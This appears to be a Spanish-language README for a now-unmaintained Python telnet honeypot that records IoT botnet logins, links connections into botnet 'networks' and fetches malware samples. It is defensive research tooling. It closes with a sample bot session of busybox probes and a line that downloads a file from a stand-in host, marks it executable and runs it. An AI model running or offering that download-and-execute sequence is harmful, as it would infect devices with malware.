
Honeypot de telnet en Python para capturar binarios de botnets
Este proyecto ya no cuenta con soporte ni está en desarrollo. Está basado en python2, que llegó al final de su vida útil en 2020, y utiliza dependencias que cada vez son más difíciles de instalar. ¡Úselo bajo su propio riesgo!
'Honeypot Telnet en Python para capturar binarios de botnets'
Este proyecto implementa un servidor Telnet en Python que intenta actuar como un honeypot para malware de IoT que se propaga a través de contraseñas predeterminadas terriblemente inseguras en servidores Telnet de Internet.
El honeypot funciona emulando un entorno de shell, similar a cowrie (https://github.com/micheloosterhof/cowrie). El objetivo principal de este proyecto es analizar automáticamente las conexiones de botnets y "mapear" botnets vinculando diferentes conexiones e incluso redes entre sí.
La aplicación tiene una arquitectura cliente/servidor, con un cliente (el honeypot real) que acepta conexiones Telnet y un servidor que recibe información sobre las conexiones y realiza el análisis.
El servidor backend expone una interfaz HTTP que se utiliza tanto para acceder al frontend como para que los clientes envíen nueva información de conexión al backend.
El backend utiliza 2 mecanismos diferentes para vincular automáticamente las conexiones:
Las redes son botnets descubiertas. Una red es el conjunto de todas las conexiones, URL y muestras vinculadas. Las URL y las muestras se vinculan cuando se utilizan en una conexión. Dos conexiones se vinculan cuando ambas son recibidas por el mismo cliente honeypot (¡se admiten múltiples clientes!) y usan las mismas credenciales en un corto período de tiempo (2 minutos por defecto) o provienen de la misma dirección IP.
Se identifica que varias redes utilizan el mismo tipo de malware si el texto ingresado durante las sesiones de las redes es mayormente el mismo. Esta comparación se realiza mediante una especie de función "hash" que básicamente traduce una sesión (o conexión) en una secuencia de palabras y luego asigna cada palabra a un solo byte, de modo que esta secuencia resultante de bytes se pueda buscar fácilmente.
La aplicación tiene un archivo de configuración llamado config.py. Se incluyen ejemplos para implementaciones locales y de cliente/servidor.
El backend requiere una base de datos SQL (sqlite por defecto) que se inicializa en la primera ejecución. Antes de la primera ejecución, debe generar una cuenta de administrador que se utilizará para generar más usuarios. La cuenta de administrador también puede ser utilizada directamente por un cliente para publicar conexiones. Cuando se necesite conectar más de un honeypot, se recomienda crear múltiples usuarios.
bash create_config.sh
Tanto el cliente como el backend leerán los archivos config.yaml y config.dist.yaml para obtener los parámetros de configuración. El archivo config.dist.yaml incluye valores predeterminados para todos los parámetros excepto las credenciales del usuario administrador, y estos parámetros se sobrescriben con las entradas del archivo config.yaml.
python backend.py
Este proyecto contiene un honeypot propio; sin embargo, debido a la arquitectura cliente/servidor, también se pueden utilizar otros honeypots.
python honeypot.py
El cliente no se puede iniciar sin que el servidor esté en ejecución. Para usar una configuración diferente para el cliente, puede usar el interruptor -c de la siguiente manera:
python honeypot.py -c myconfig.yaml
Si solo desea comprobar la funcionalidad del honeypot, puede iniciar el cliente en modo interactivo:
python honeypot shell
Escribí un complemento de salida para cowrie, que tiene muchas más funciones que el honeypot incorporado. Si desea usar cowrie en su lugar, eche un vistazo a mi fork que incluye el módulo de salida aquí: https://github.com/Phype/cowrie .
Después de iniciar el servidor, abra http://127.0.0.1/ en su navegador favorito.
enable
shell
sh
cat /proc/mounts; /bin/busybox PEGOK
cd /tmp; (cat .s || cp /bin/echo .s); /bin/busybox PEGOK
nc; wget; /bin/busybox PEGOK
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox PEGOK
rm .s; wget http://example.com:4636/.i; chmod +x .i; ./.i; exit


